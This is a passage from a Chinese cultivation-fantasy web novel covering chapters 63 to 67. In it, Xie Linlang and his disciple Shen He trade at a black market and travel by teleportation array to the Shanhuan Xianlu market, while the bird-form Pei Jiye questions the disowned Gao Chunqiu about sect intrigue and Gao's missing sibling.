她嘴巴很甜，也说得坦然，“那小女就沾点光，带二位去黑市上换魔石？我也多赚点中介费？” 沈鹤以前就是干这行的，见女修这番做派倒是心生好感，遂看向谢琳琅：“谢师兄，您看……？” 谢琳琅点点头：“好，你带路吧。” “说说最近流传的消息，和九夏山有关的。” “啊呀，那必然是琳琅道君的芥子境即将开启的热闹了！” 女修带着两人快速穿梭着一个个大船，很快来到了由一条条小型乌篷船链接起来的、明显要更隐蔽更混乱的区域。 她一边带路一边说：“琳琅道君是九夏山知名的丹师，他于一年前渡劫失败，留下了一个具备丹道传承的仙品芥子境，九夏山的人经过仔细研究，发现琳琅道君将传承和芥子境绑定了，只有得到传承的修士才能继承仙品芥子境。” 沈鹤忍不住道：“那如果并非九夏山弟子获得了传承，九夏山岂不是还要赔出去一个仙品的芥子境？” 女修发出了银铃般的笑声，“是啊，所以最初九夏山是想将这传承留在自家宗门里的，准备定期让弟子进去试炼，可是谁曾想，在大概四到五个月前，那芥子境突然想走了。” 沈鹤：“……什么？想走？” 等等，芥子境还能自己长脚走了？ 窝在谢琳琅肩头的夜前辈也挺直了身体。 裴寂夜虽然有自己的消息渠道，但他的位置太高了，直接拿到了九夏山要开芥子境的信息，倒是不清楚私下流传的小道消息。 女修笑得不行，她语速很快，但说得很清楚，显然已经说过很多遍了。 “是啊，有趣吧？好像是某天上午，九夏山范围内的修士们集体做了个梦，梦里面，那仙品芥子境幻化成了一把剑的形象，剑身多了一张嘴，说自己是琳琅道君生前的佩剑，不想留在九夏山了，世界那么大，它想去看看……” 杀马特的夜前辈连声咳嗽，一只鸟咳得直不起腰，像是命不久矣似的。 谢琳琅的表情有些微妙，若有所思。 沈鹤仿佛打开了新世界的大门：“琳琅道君的佩剑要带着仙品芥子境游历世界？” 女修依旧在抿嘴笑，“琳琅道君名满天下，手上肯定有很多厉害的法器，大家本以为他能顺利渡劫，结果道君前辈却身死道消，说明他面临的天劫必然很强大，即便是他的佩剑，也肯定在渡劫时损毁了，反正听说九夏山没有回收到多少琳琅道君的生前之物。” 沈鹤嘶了一声，继续追问：“那这所谓的佩剑……？” 女修解释道：“听闻那些仙门正宗派人去九夏山仔细调查，说琳琅道君用仙品芥子境储存各种天地灵物，导致芥子境有了自己的灵性和神智，那佩剑只是芥子境灵的一个幻象，不足为虑，但若是不立刻再选拔出一位丹道继承者，这芥子境恐怕真要自己跑了。” 沈鹤闻言一副涨见识的模样：“原来如此，那九夏山应该先选自己宗门的弟子吧？” 女修意味深长地说：“那必然是失败了嘛。” 沈鹤忍俊不禁起来：“索性邀请大陆其他修士参与试炼？” “是啊，据说成功者需要将传承复制一份给九夏山。” 女修随口道，“为了防止继承者反悔，九夏山又叫了很多别的仙门正宗来做见证。” 沈鹤了然：“原来如此。” 夜前辈也重新窝了回去。 谢琳琅暗中算了算时间，四五个月前？那不就是他复生的时间？ 第64章 第 64 章 裴寂夜笑了。 黑市上的灵石兑换魔石价格很划算, 谢琳琅和沈鹤都换了不少。 可能看他们俩是大客户，女修介绍的一个中间商还主动询问谢琳琅和沈鹤是否有别的需求，比如灵丹妙药啊, 比如真界这边的情报啊, 比如真界特有的法器和符文之类的。 沈鹤忍不住小声嘀咕：“怎么感觉像是两地倒买倒卖啊？” 谢琳琅淡淡道：“对, 因为有些真界修士的确从未去过魔域, 而魔域那边也并不是所有人都敢来真界游历的。” 中间商笑呵呵地说：“没错, 其实界门就在那, 谁都可以出入买卖，但也要有命回来对不对？” 沈鹤摸了摸鼻子，不吭声了。 他甚至怀疑盘旋在界门周围的亡命之徒和眼前的中间商有着千丝万缕的联系。 但无所谓了，他们是寂夜宫弟子, 跟着大部队一起走, 不怕。 谢琳琅很熟悉真界这边的物价, 若是价格太贵的，他就轻飘飘地说几句材料的产出地和批发价, 中间商的面色变了几变, 知道遇到行家了，也不敢敲诈得太过分。 最终两人不仅买入了一批材料，还买了丹炉和一些情报。 裴寂夜一直懒洋洋地窝在谢琳琅的肩膀上不吭声，沈鹤和谢玉是炼气期弟子, 可能会买点金丹期修士需要的材料, 但总体来说都是低阶修士所用，这些东西对裴寂夜来说已经是可有可无的东西了。 当包打听的女修笑得眼睛眯成了月牙, 她领来的大客户买了这么多东西，她也能从中间商那分成很多，于是等谢琳琅和沈鹤离开时, 那女修非常热情地送两人离开，还附赠了一个小道消息。 “是还没经过证实，听起来有些荒谬的消息，博两位前辈一笑。” 那女修笑容明媚，露出了整齐的白色牙齿，“据说那些仙门正宗的前辈们想要对界门进行维护和修缮，可能在未来三个月关闭界门出入通道，到时候除非有通天彻地之能，魔域和真界就彻底隔绝了。” 谢琳琅怔了怔，沈鹤惊异地看向远处接天连地的巨大界门瀑布，不可思议地说：“界门还能维护？” 界门当然可以维护！ 杀马特的夜前辈脑门上的毛已经支棱起来了，作为寂夜宫主，他很难脱离寂夜宫的势力范围，这是万余年寂夜宫那缺德的超前透支功德的代价。 即便他用了九夏山伯夏的秘术，想办法分离出了一个妖身，可一旦界门彻底关闭，他和本体的联系就会被切断！ 好你个天凌宗主，好一个仙门正宗，原来真正的毒计在这里等着他呢！！ 裴寂夜心中俱是惊怒之情。 界门是维系整个真界灵力充裕的最大倚仗，真界的宗门的确会每隔百余年就对界门进行评估、侦测和修补，无数岁月下来，代代修士共同努力才有了现在这么庞大的界门瀑布。 天凌宗作为目前真界风头和势力最强大的宗门，由天凌宗主发起修缮提议，通过的概率很大。 可问题是…… 如此隐蔽和重大的消息，是怎么透露出来的？连一个随便包打听的女修都知道，难不成是虚假信息？ 他以前认识的老渠道怎么没有任何消息传来？ 裴寂夜顿时陷入了进退两难之境。 若是相信了这个消息，他必然不可能再前往九夏山。 但这是不可能的，谢琳琅的芥子境开启，甚至还发生了异变，也许和谢琳琅有关，他怎么可能不去？ 冷静，裴寂夜快速思考着。 他这次去九夏山，主要目的就是利用谢琳琅的芥子境寻找谢琳琅，次要目的是去参加仙魔两派开的什么碰头会。 裴寂夜大概知道这群人的目的，他并不在乎，大不了所有人一起死……咦？等等？ 难道这就是天凌宗的目的？ 天凌宗其实不希望他去参加这个会议！ 可是高淳秋又是怎么回事？天凌宗主将这么个人放在他眼前，难道不是故意通知他，说我知道你的秘密，想让我闭嘴，就赶紧过来一趟？ 裴寂夜不知道天凌宗主葫芦里卖的什么药，他心下冷笑，不管那个混蛋想干什么，归根结底还是要看实力。 是时候叫姚黄回来了。 裴寂夜眼珠子转了转，鲜红的眼睛眯成一条缝，像是老奸巨猾的狐狸。 耳边听着谢琳琅和沈鹤的聊天，两人买得差不多了，似乎打算去湖上坊市与其他寂夜宫弟子汇合，裴寂夜略一沉吟，无声无息地化为一抹黑光，消失了。 就在谢琳琅和沈鹤听那女修聊着最近真界的消息时，高淳秋披着斗篷，避开了可能跟踪盯梢的修士，来到了一个看起来极为普通的丹药铺子。 丹药铺子是天凌宗在湖上坊市的隐蔽据点，高淳秋如今满腹疑惑，他有太多想要知道的事了，尽管他知道天凌宗主不可能在这种地方给他留口信，可他还是想试试。 看守铺子的是个金丹修士，自我介绍姓何，见到高淳秋后笑着问前辈需要什么。 高淳秋拿出了自己的身份铭牌，快速在何修士眼前闪了一下，那何修士有些惊讶，立刻满脸笑容：“原来是大客户，快请到里面的雅间。” 何修士当前引路，带着高淳秋进入铺子后侧的走廊，他请高淳秋先进入了雅间，转头去倒茶。 茶柜就在雅间侧面下方的柜子上，何修士碰触到柜子上的茶盘，下一秒，高淳秋只觉得汗毛耸立，整个人都如被惊到了鸟，全身力量暴涨！ 转瞬之间，那何修士的身影仿佛一抹清风，竟直接来到门边，眼瞅着下一步就要跑掉了，但高淳秋却比风还快，他的手指突兀延长，如一只巨大的鸟爪，长而纤细，尖锐而缠绕着火焰。 他死死掐着何修士的脖颈，愤怒地说：“为何启动阵法害我？！” 何修士被掐着脖颈根本说不出话，由于两人修为悬殊，很快何修士就翻出了白眼。 高淳秋惊怒之下，直接抬手拍在了何修士的脑门，粗鲁地翻阅着何修士最近的记忆。 何修士作为天凌宗派遣到界门的执勤修士，自然极为机警，他在一个月前就接到宗门传讯，说宗门某弟子已经陨落了，任何手持铭牌来宗门各据点的人都是凶手，可以直接干掉，若是无法击杀，也当将消息快速传回宗门。 由于高淳秋被裴寂夜削了一顿，尽管他是化神修士，可如今显露在外的感觉只有元婴期。 这何修士尽管是金丹期，理论上比元婴期低了一个大境界，是不会自己找死，奈何高淳秋自己踩进了丹药铺子里自带的阵法陷阱中。 一加一减，何修士觉得优势在我，可以试一试，若是成功了，也许他就能从这里调回宗门，成为门内执事呢？ 高淳秋搞清楚了前因后果后，整个人都不好了。 什么叫持有这个身份铭牌的弟子已经陨落了？任何拿着铭牌的人都是凶手？ 他那位好师尊是笃定他一定会死在裴霁手里吗？还是说裴霁所言皆为真实，只要他见到裴霁，在他那位师尊心里，他就一定会倒戈成为敌人吗？ 高淳秋失魂落魄了许久，继而觉得自己就像是个笑话和小丑。 他低低地笑了起来，双目赤红，整个人都陷入了极度愤怒之中。 半晌，高淳秋低头看着半死不活的何修士，勉强恢复了神智。 他深吸一口气，抓着何修士，按照何修士记忆里的解阵方法，离开了这个陷阱牢笼。 高淳秋木着脸，轻轻发出了几声悦耳的低吟，何修士双目失神，很快陷入了昏迷之中。 为了以防万一，高淳秋又拔了一根羽毛，捏成碎屑，以秘法打入何修士紫府内，模糊他今日的记忆。 只要不受什么刺激，何修士就不会想起今日有人来过。 虽然不知道能隐瞒多久，高淳秋面无表情，死死掐着手指，离开了丹药铺子。 站在人来人往的湖上坊市街道上，看着周围熙熙攘攘的人群和热闹的叫卖声，高淳秋突然觉得眼前的一切都格外不真实，一股极度的寂寞和疏离感从心底升腾起来。 往昔修行岁月皆是虚妄和谎言，那还有什么是他该坚持下去的呢？ 追求大道？他对大道并没有什么执着。 飞升成仙？他都成妖族了，飞升成仙去给人当坐骑吗？ 报仇雪恨？哈哈哈哈可笑，到底谁是他的仇人，他现在都搞不清楚了。 高淳秋的身体摇晃了两下，阳光下，他的手指白皙修长，可他忘不了刚才暴起时骤然延长的纤细的、覆盖了鳞片的鸟爪形态。 他、他到底是为什么选择激活妖族血脉，从人修变成妖族修士的啊！！ “哟，被打击的不轻啊。” 一个低沉沙哑、充满嘲讽的声音响起。 高淳秋猛地回神，他豁然回头，就看到一只精致、漂亮却充满着毒和杀伤力的黑色鸟儿单腿抓着一个靠在船舷边的船桨上，一边低头梳理着羽毛，一边用鲜红的眼睛嘲弄地看他。 “……你是来笑话我的吗？” “不，我是来笑话天凌宗那个傻子的。” 裴寂夜幽幽地说：“我说了，那个傻子打着修行无情道的名头，遮掩自己天生感情缺失的问题，他从来不相信身边的人，会真的因为他的保护、照顾、教导和给与，而对他有一份信赖和尊敬之情。” “他不会、也不知道该怎么将无法估量的人心和人情放在天秤上衡量，所以一旦他觉得事不可为，就会先一步放弃。” 裴寂夜的声音仿佛从地府深处传来。 “就比如你，他不相信你对他有着一份尊敬的师徒之情，他不相信这份情感会影响你对家人和复仇的执念，他觉得你一定会为了亲情而对他动手，所以他先一步抛弃了你。” “你所在乎的东西，哪怕是与他的情谊，但在他眼中，什么都不是。” 高淳秋的脸色白得几乎透明了，万念俱灰。 裴寂夜笑了。 第65章 第 65 章 “这不是很好找吗？”…… 谢琳琅和沈鹤告别了包打听的女修, 他们来到湖中坊市最中心的广场位置。 洪奎和钱师兄等人已经在这里等着了，钱师兄家的铺子在这边也有个小据点，倒是打探到了不少真界的常识和信息, 他印了很多空白玉简, 一个个分发给了诸多同门。 对低阶修士来说, 想要自己弄到这些消息要花费不少钱；对高阶修士来说, 这些东西可有可无, 但也能对钱师兄有个不错的印象。 一时间, 即便有对当初氪金上来的钱师兄颇多不满和看不起之人，此刻也端正了态度，纷纷表示感谢。 谢琳琅和沈鹤过来时，钱师兄正好发得差不多了。 “哦, 两位师兄, 回来了？来看看, 查缺补漏哈。” 沈鹤笑着与钱师兄寒暄了两句，谢琳琅只是点点头, 继而闭上了眼睛。 真界天地间充斥着浓郁的灵力, 他虽然转为了魔修，可本质上他修行的并不是魔门功法，而是家族传承的《宝树经》。 此功法虽然看起来是召唤天魔消消乐，但世人有所误解, 其实天魔并非魔, 是天地因生灵有感而萌生的混沌之灵。 天魔的确会引诱修行者陷入迷幻之中，却也代天行使考验与奖惩之责, 是亦正亦邪的存在。 所以理论上谢琳琅的《宝树经》同样可以吸收灵力。 更由于他重修前就是真界修士，碰触到曾经熟悉到不能再熟悉的灵力，谢琳琅必须花费极大心力才能克制自己体内自发运转的《宝树经》。 随着他在真界停留的时间越久, 体内宝树经修行的力量越发蠢蠢欲动起来了。 谢琳琅有些郁闷，算了，天魔不就是这类生物吗？总是在猝不及防时抽冷子来一下，以天魔为食的宝树经也是这副德性，他该有心里准备才是。 沈鹤和钱师兄交际了一番，正想和谢琳琅说说钱师兄送回的消息，就发现谢琳琅似乎有些疲惫。 沈鹤略一犹豫，转头去找了洪奎。 “洪师兄，咱们还要在这里等多久？” 洪奎：“怎么了？” 沈鹤：“总觉得咱们这么多人聚集再这里，太引人注意了。” 洪奎左右看了看，发现这片广场附近的确就他们这群人比较惹眼。 他去找了金丹修士，稍微说了几句，很快几个金丹修士就分别清点人数，确定大家都到了，众人鱼贯离开广场。 他们来到了一座看起来装修精致气派的宅邸外。 宅邸上挂着一个牌匾，上面写着两个字，梦华。 这里正是梦华仙门在湖中坊市的据点。 很快有梦华仙门的修士过来接待他们，低阶修士各自回房间休息，整理在坊市所得，高阶修士被请到了会客室联络感情、交流信息。 谢琳琅和沈鹤都是低阶修士，各自休息了。 至于神出鬼没的夜前辈？不管他。 与此同时，在湖中坊市一个比较偏僻安静的船舱里，高淳秋像是失去了全部精气神，他倚靠着船舱边缘，怔怔地看着起伏不定的水波，正低声回答着裴寂夜的问题。 “……我不清楚天凌宗的目的，只知道天凌宗的确在不断召集四处游历的修士，似乎想要做什么，不仅是天凌宗，梦华仙门、云景寺等一些大宗门也发布了召集令。” 他有气无力地回答着，“来之前我听了小道消息，说玄命派有高人沐浴占卜，似乎发起了天问，得到的结果似乎不太好，诸多门派为了应对未知的灾难，才召集弟子的……” 漆黑的鸟儿藏在船舷边缘的阴影里，鲜红色的眼眸越发冰冷，像是幽影中的追命鬼。 玄命派啊，裴寂夜恍然大悟，他当然知道这个修行门派，怪不得总觉得哪里怪怪的，原来是这群窥伺天命的卜师出手了。 裴寂夜陷入了诡异的沉默之中。 其实玄命派的占卜挺准的，寂夜宫延迟了万余年的烂账快要爆发了，若是处理不好的确会波及真界，毕竟真界和魔域尽管被界门隔开了，可本质上还是在一片大陆啊！ 他也有玄命派的朋友，那人说裴霁命中带煞，是天煞孤星的命格。 可偏偏当时裴寂夜正与谢琳琅情浓难分，怎么可能是天煞孤星？ 裴寂夜对对方的卜算能力嗤之以鼻，两人反而大吵了一架，最终不欢而散。 现在想来还是他当初太年轻。 高淳秋说了一些自己知道的消息和情况后，神色有些迷茫。 他原本看似若神仙中人，蓝白双色的长发和冰雪般的容颜，让他看上去像是从天上落下来似的，可在极短时间内遭到好几重打击，使他整个人都憔悴了许多。 诚如裴霁所言，对他打击最大的，并非是师尊认为他背叛了天凌宗，而是师尊压根不相信他们多年相处下来的情谊和恩情。 高淳秋此前尚在痛苦纠结之中，在师门恩情和家族仇恨间左右为难。 结果呢，他那位仙人一般的师尊压根不认为他会对宗门产生感恩之情，原来在他师尊心里，他高淳秋压根不是个会感恩的人！他的一腔真情全都喂了狗！ “因为我们是妖族嘛。” 裴寂夜凉凉地说：“哪怕我们最开始是人，但我们现在觉醒了妖族血脉，所以九灵宗会将我们当做灵兽抽取血脉神通，天凌宗主会将我们看做是妖域修士，我们被开除了人籍。” 高淳秋这才恍然发现，他竟将心中的怨怼之情说了出来。 他的身体微微颤抖，情绪有些激动：“如果我们真的不受情谊困扰，那何来无数妖族与人族间爱恨情仇的故事传说？再说了，若我真的不在乎这些，我何必苦苦追寻家族仇恨？我早就飞到妖族的地界找个山谷潜修了！！” 精致美丽的黑色鸟儿忍不住翻了个白眼。 当年姚黄也是如此，抓着他的袖子哭得天崩地裂，偏生还在天凌宗主看到了，导致天凌宗主误以为姚黄移情别恋，还搞出来一个你若无情我便休的狗血戏码，可把当时的裴寂夜恶心坏了。 那时裴寂夜一边遭到仙门正宗追杀，一边听说了谢琳琅和别人举行道侣仪式，状态糟糕到了极点，他懒得管这些乱七八糟，索性抓着姚黄当肉盾，冲出了仙门修士的包围圈，狼狈地跑回了魔域。 裴寂夜：“那你怎么想的？你还想报秋家的仇吗？” 高淳秋张了张嘴，他下意识地看了一眼站在阴影里的黑色鸟儿，痛苦地呜咽了一声，半晌才道：“我不知道，我甚至不知道当年的真相到底是什么。” 他对裴寂夜的信赖度低得不能再低了，可是看在同血脉的份上，高淳秋迟疑着道：“仇怨的事姑且不提，我其实很想找到当年母亲留下的孩子。” “你弟弟？” “我不知道是弟弟还是妹妹。” 裴寂夜有些迷惑：“你不知道？” 高淳秋苦笑，他细细解释：“当年寂夜宫的追杀太快太急，母亲虽然有了身孕，可并不足月，不管是打掉还是取出来都会大伤元气，于是父亲和母亲商量了一番，直接……直接将母亲的胎宫取了出来，放入了培育灵兽的驯养袋里。” 裴寂夜：“……啊？” 高淳秋连忙道：“有点类似于将身体的一部分炼制成第二元神或者第二替身，是一种比较偏门的秘法，母亲这么做只是想先应急，等危机解除后再找回来。” 裴寂夜恍然大悟，继而嘶了一声：“天才的想法。” 高淳秋叹息着说：“母亲在修行上没什么天赋，但在术法上有些巧思，师尊以前也这么说过……唉，除了驯养带，父亲还留了一块用来认亲的信物，打了秘法，保证驯养袋和信物都不会放出任何灵力波动后，就将这些东西交给了一户人家。” “这不是很好找吗？” “……事情没那么简单，父亲为了不引人注意，选了当地还算有些名声的凡俗乡绅人家，很多年后母亲请师尊帮忙派人寻找，才得知因为修士间的争斗，改变了附近的地貌，导致河流改道，隔年山洪倾泻，那片……被淹了。” 裴寂夜差点笑出声，强忍着没说出一句活该。 “当地百姓四散逃亡，那户人家也随着人流迁徙，不知道去了哪里。” 高淳秋眉头紧皱：“我只知道他们应该还在魔域，只知道我不知名的弟弟或者妹妹还活着，以及一个父亲留下的信物，别的……就什么都没有了。” 裴寂夜思考了一会，觉得这事很麻烦。 “如果是个已经生长的孩子，这还算好办，毕竟作为修士的后裔，你弟弟或者妹妹大概率有魔种或者灵根，必然能拜入宗门修行。” 可当年高淳秋的母亲取出孩子时，是连着胎宫一起取出来的，也就是说那孩子应该还在胎宫沉眠，不具备自主活动能力。 除非找到当年那户人家，否则根本无解。 “万一那户人家出了意外，那个驯养袋和信物应该会被卖掉换取钱财……” 裴寂夜又问，“普通人可能看不出驯养袋的价值，但信物呢？你父亲留了什么信物？” 高淳秋毫不犹豫地说：“是一枚黑色玉佩，是秋家覆灭后唯一留下的、由父亲保管的宝物。” “黑色玉佩？还有呢？什么纹路？长什么样？大小？” “没有纹路，巴掌大小，很普通的玉佩，若是碰到了我的血会有反应。” 裴寂夜语气平淡地说：“寂夜宫势力和地盘还算大，我可以让人试着寻找一番，但说实话，你给的信息太少了，成功率不高。” 高淳秋叹了口气：“唉，我知道很难，但我总要找到一个答案。” 第66章 第 66 章 任由对方予取予求了。…… 谢琳琅等人在梦华仙门的据点休息了一晚。 第二天一大清早, 金翎真人冒了出来，带着他们来到了湖上坊市的超远距离传送阵。 金翎真人笑眯眯地说：“我和梦华的道友谈妥当了，一会传送阵开启, 大家进入阵法中, 我们会集体抵达真界中心区域一个叫山环仙路的地方, 那是整个真界的中心, 是诸多商会聚集的超大型坊市, 有前往各大宗门的传送阵, 白骨宗的道友在那边等我们。” 在金翎真人身侧还站着一个化神女修，女修神色平和，气息绵长悠远，一看就是高手。 她温和地说：“诸位道友往日修行魔气, 在真界的灵力环境下, 传送时也许会有不适应, 请勿惊慌，也不要在传送时爆发魔气, 会影响传送的目标和位置, 还会伤害到自己。” “没错，你们可以使用一些普通的护身法器，但不要冲击传送时形成的巨大灵力通道，若是通道半中腰崩塌, 咱们就要被四散分开甩到整片真界各个角落了。” 金翎真人神色严肃了几分, 说完了注意事项，他招了招手, 示意众多弟子进入传送阵。 谢琳琅和沈鹤顺着人流进入传送阵，昨日消失不见的杀马特的夜前辈又冒了出来，依旧站在了谢琳琅的肩膀上。 随着金翎真人最后一个进入传送阵, 守护在阵法外的梦华女修点点头，后退了一步，开始飞速打入法诀。 很快整个传送阵爆发出明亮璀璨的光芒，四周灵力蜂拥而至，如螺旋云层，形成了一个巨大的灵力旋转通道，裹挟着众人，如一颗划过天际的彗星，消失不见了。 沈鹤只觉得身体在三百六十度疯狂摇摆，魔气在经脉里乱窜，像是下一秒就要爆体而亡。 他只能死死忍耐，直到他后背一痛，像是狠狠撞击在了什么东西之上，沈鹤才勉力观察周围，继而发现他们已经抵达了目的地。 这是一个巨大的传送阵，寂夜宫的弟子中八成都摔倒在了地上，只有此前有传送经验的高阶修士笑眯眯地站在一侧看弟子们的热闹。 谢琳琅单膝跪地稳住身形，看着似乎也站立不稳，但实际上他很适应这样的传送，只是不想引人注意而已。 杀马特的夜前辈瞟了一眼谢琳琅，没吭声。 他自然能察觉到谢琳琅的游刃有余，不过作为谢氏子弟，谢琳琅熟悉真界的传送阵也很正常，裴寂夜没当回事。 谢琳琅伸手拉起头晕目眩的沈鹤：“你没事吧？” 沈鹤抱着脑袋，痛苦地说：“想吐……” 金翎真人没有管弟子们七扭八歪的样子，转而对身侧的一个修士道：“你先盯着他们，我去找白骨宗的道友，他们应该帮咱们提前预定了休息的院落。” “好了，都别发呆了，赶紧让开位置。” 带队的金丹修士招呼着晕头转向的弟子们：“不要丢人现眼了。” 弟子们互相扶着走下传送阵，在旁边的休息室稍微缓了缓神，这才鱼贯离开传送阵所在的建筑。 出了大门，诸多弟子都露出了乡下人进城的愚蠢表情。 眼前是一个非常恢弘壮阔的仙人坊市。 四周天上漂浮着各种小岛，岛屿下方用灵力标了广告牌，每个岛屿间还有行走的通道。 天上有飞来飞去的修士，下方也有行走往来的人群，上下两个空间如一面镜子的两侧，玄妙莫测的同时又显得格外热闹有趣。 似乎注意到弟子们的惊叹，有高阶修士低声道：“地下也有一个超大规模的交易市场，这里曾是一座山，后来有大能在这里斗法，山峦下陷，山顶成了地面，山腹深入地下，后来有人挖空了山腹，又升空了浮岛，才有了现在的山环仙路。” 他指了指脚下的地面：“山。”又指了指天空、地面和地下，“环。” 再指了指诸位修士，“仙。” 最后修士大笑：“我辈之路就在其中，此之为山环仙路。” 弟子们听后全都恍然大悟，继而若有所思。 谢琳琅站在人群中，抬头看着天上漂浮的一个个浮岛和广告牌，神色有些怅惘和怀念。 他想起第一次来山环仙路时的情景了。 那时他刚在炼丹一道摸到了点诀窍，知道怎么修改丹方、怎么炼制独属于自己的丹药，裴霁比他还兴奋，立刻拉着他跑到山环仙路，说哪有不在山环仙路扬名的丹师？ 山环仙路有着整个真界规模最大的拍卖会，各派各家的铺子汇聚在这里，是全真界、甚至是魔域、妖域以及灵修们都会来参观选购的最大修士交易中心。 若一个丹师想要扬名，最快最简单的办法，就是在山环仙路的年度拍卖会上卖出天价丹药。 可那时谢琳琅没有一点名气，根本没有拍卖会愿意收谢琳琅的丹药，裴霁一怒之下去了斗剑台。 他一人一剑开始守擂，一共对阵了三十七名同级别修士，期间多次受重伤，全凭谢琳琅疯狂投喂各种丹药，才终于站着走下擂台。 谢琳琅本来携带了很多丹药，想要在山环仙路找代理，结果全用在裴霁身上了。 裴霁一战成名的同时，谢琳琅也得到了诸多丹药高手、拍卖行和商会的青眼，各种邀请与合作接踵而至。 但谢琳琅当时一点都不开心。 诚然他最初踏上丹道，就是希望裴霁受伤后，能第一时间吃到符合他体质和修行功法的丹药。 可裴霁却仗着有他帮忙，肆意损耗身体，谢琳琅简直怒不可遏。 那是两人第一次生气，彼时他们尚且是师兄弟，没有捅破窗户纸，却又各自挂念着对方，导致这次的生气闹得两人格外难受。 当年谢琳琅为此辗转反侧，彻夜难眠，气得心口疼。 可是如今再看这天上地下的人流，谢琳琅又忍不住心生羡慕之情。 他羡慕那个可以恣意挥霍甚至生气的自己，若是换成现在的他，早就抱着师兄，任由对方予取予求了。 就在此时，谢琳琅突然觉得脸颊有点痒痒的。 他猛地侧脸，这才发现杀马特的夜前辈正在用鸟喙轻轻戳他。 待谢琳琅看过来，夜前辈歪头，鲜红的眼睛里流露出了非常人性化的疑惑，似乎在问怎么了？ 谢琳琅猛地收敛心神。 他闭了闭眼，几秒后他恢复了温和笑容，摇摇头，看向了沈鹤。 夜前辈烦躁地砸吧了一下鸟喙，啧，还是觉得沈鹤好碍眼啊！果然弄死吧！ 沈鹤调息了一会感觉好多了，此刻他看着热闹非凡的山环仙路，有些蠢蠢欲动。 “不知道能否在这里好好逛一逛。” 谢琳琅提醒沈鹤：“这里的东西比较贵，除非你认识朋友可以走内部价。” 钱师兄在一侧，正好听到这句话，忍不住插口：“话虽如此，但山环仙路毕竟是全大陆最大的材料集散地，能找到很多偏门的东西，即便很贵也顾不得了。” 谢琳琅点头：“这倒是真的。”他想了想，“对了，我听说这里有个捡漏市场，咱们修士总是会遇到一些奇奇怪怪的、拿不准是什么的材料，我们可以去那碰碰运气。” 沈鹤的眼睛刷得亮了，对哦，就算他的眼力不够，可是身边跟着玉佩师尊啊！ 沈鹤期待地看着谢琳琅。 谢琳琅莞尔：“先看看宗门的安排，若是留了时间，我们去那转一转。” 就在几个人说话之际，一个穿着白色长衣的少年晃悠了过来。 “哟寂夜宫的人来了？” “哦，应道友。” 金翎真人连忙上前打招呼，“白骨宗诸位可还好？” 来人自然是应啸天，小少年快速看了一圈，眼神在谢琳琅的肩膀上微不可查地停顿了一下，那种漫不经心的态度散了点，明显认真了不少。 “我们白骨宗在这里停留三天了，正好八卦门上午离开，空出了一个院子，我已经让人预订下来，走吧，我带你们去休息的地方。” 金翎真人：“目前九夏山那边有什么安排和说法吗？” “后天九夏山开山门，咱们明天下午通过传送阵过去。” 应啸天耸肩，“九夏山好像打算趁这个机会宣布什么事，天凌宗那边也说想和诸位通道商量些议题，玄命派这次也来人了，好像比较麻烦……” 两个化神修士在前面走着，虽然还在谈话，可他们两人都默契地张开了结界，防止声音泄露出去。 后面的弟子只需要专心参加芥子境试炼即可，其他事情自有高阶修士来处理。 倒是裴寂夜听得一清二楚，心中冷笑连连。 这次九夏山可真是群英荟萃啊，他们那位好师叔一定很高兴吧？ 一个二流门派，虽然传自上古时代，却始终被排挤在最顶级门派之外，而师叔这个掌门明明是被上任掌门指派，但依旧有种名不正言不顺的尴尬感。 而这次借着谢琳琅留下的芥子境，九夏山终于有资格作为主办方招待诸多同道，扩大宗门影响力，师叔也终于敢说一句，他将宗门推举到一流之地，他这个掌门必然比神幽真人更好了。 想到这里，杀马特的小鸟眼神幽冷，化为一抹黑影，不见了。 谢琳琅没有理会杀马特的夜前辈，他随着弟子们到了下榻的院落，确定了住房后，立刻被沈鹤拉扯着出了门，说要去捡漏市场。 谢琳琅：“稍等，我还知道一个地方，也许可以白捡灵石。” 沈鹤一愣，继而心生好奇：“白捡灵石？” 谢琳琅露出温和的笑容：“没错，山环仙路有一个丹师同盟协会，常设丹师考核，第一次参加考核的人，拿到的考核分属越高，得到的奖励越多。” 谢琳琅拍了拍沈鹤的肩膀，意味深长地说：“为师教导你这么久了，是时候去检测一下你的学习成绩了。” 沈鹤呆若木鸡。 第67章 第 67 章 “好一位媚骨天成的道友…… 沈鹤猝不及防遭遇了作为徒弟最头疼和警惕之事, 考核！ 更可怕的是，还不是谢琳琅考核，而是请第三方的丹师联盟协会进行公正、公平以及公开的考核, 简直是在大庭广众之下进行公开处刑。 若是考砸了……别说白捡灵石了, 他也许还会失去参与芥子境争夺的资格！ 于是玩乐的心情瞬间消失, 取而代之的是凝重和谨慎之色。 谢琳琅这才暗中点头, 作为一个才筑基期的魔修, 在山环仙路这种地方如此兴奋上头, 真是取死之道啊。 他这才语气淡淡地警告沈鹤：“别忘记了咱们宗门大课里的前辈们都怎么说的，身为魔修，最重要的是智商。” 沈鹤深吸一口气，他端正了心态, 有些不好意思：“是弟子失态了。” 谢琳琅：“改正就行了, 走吧。” 然后谢琳琅带着沈鹤来到了捡漏市场。 沈鹤：？ 谢琳琅语带促狭地说：“真界新生代的丹师都有谁, 我心里有数，对他们来说, 你才是隐藏在暗处的黑马, 既然如此，当然越晚暴露越好。” 沈鹤：“……” 啧，师尊是故意想看他懵逼的样子吧？真是坏心眼。 捡漏市场很大，到处都是摊位, 摊位上闪烁着阵法的光芒。 大部分摊位上没有摊主, 只有一个牌子，摊主会在附近的茶室里等待。 如果想要咨询某件东西, 可以直接将灵力或者魔气打入牌子，茶室那边的摊主会直接传音，不会让别人察觉到交易, 方便而隐蔽。 谢琳琅和沈鹤分开，各自选取自己想要的东西。 其实大部分好东西在流通到市场之前，就已经先被很多有眼力、实力高强的前辈们用神念探查过了，很少会有真正的宝物流落在外。 但真正的灵物天生自晦，会将自己的光华伪装成别的廉价之物，唯有遇到有缘人时才会冒出一二神光。 捡漏市场与其说是来捡漏，不如说是见证运气的时刻。 谢琳琅扫过大部分摊子，都没找到什么东西。 在捡漏市场内来回穿梭的修士数量颇多，谢琳琅时不时避让一些高阶修士，偶尔也有修士的目光落在他身上，在发现他是个魔修后又遗憾地转开视线。 谢琳琅不以为意，他因鹤骨重修，资质极佳，再加上他修行宝树经，自带一股浑然天成的天魔之感。 哪怕他竭力伪装了，对于一些真正高阶修士和修炼了特殊瞳术的修士来说，还是能看出一点端倪的。 “好一位媚骨天成的道友。” 一个略显娇柔的声音在谢琳琅不远处响起，“在下琉月，不知道友是哪一家修士？” 谢琳琅怔了怔，慢了半拍才意识到这人在和自己说话，他抬眸看过去，瞬间了然。 哦，这不是天魅宗的修士吗？ 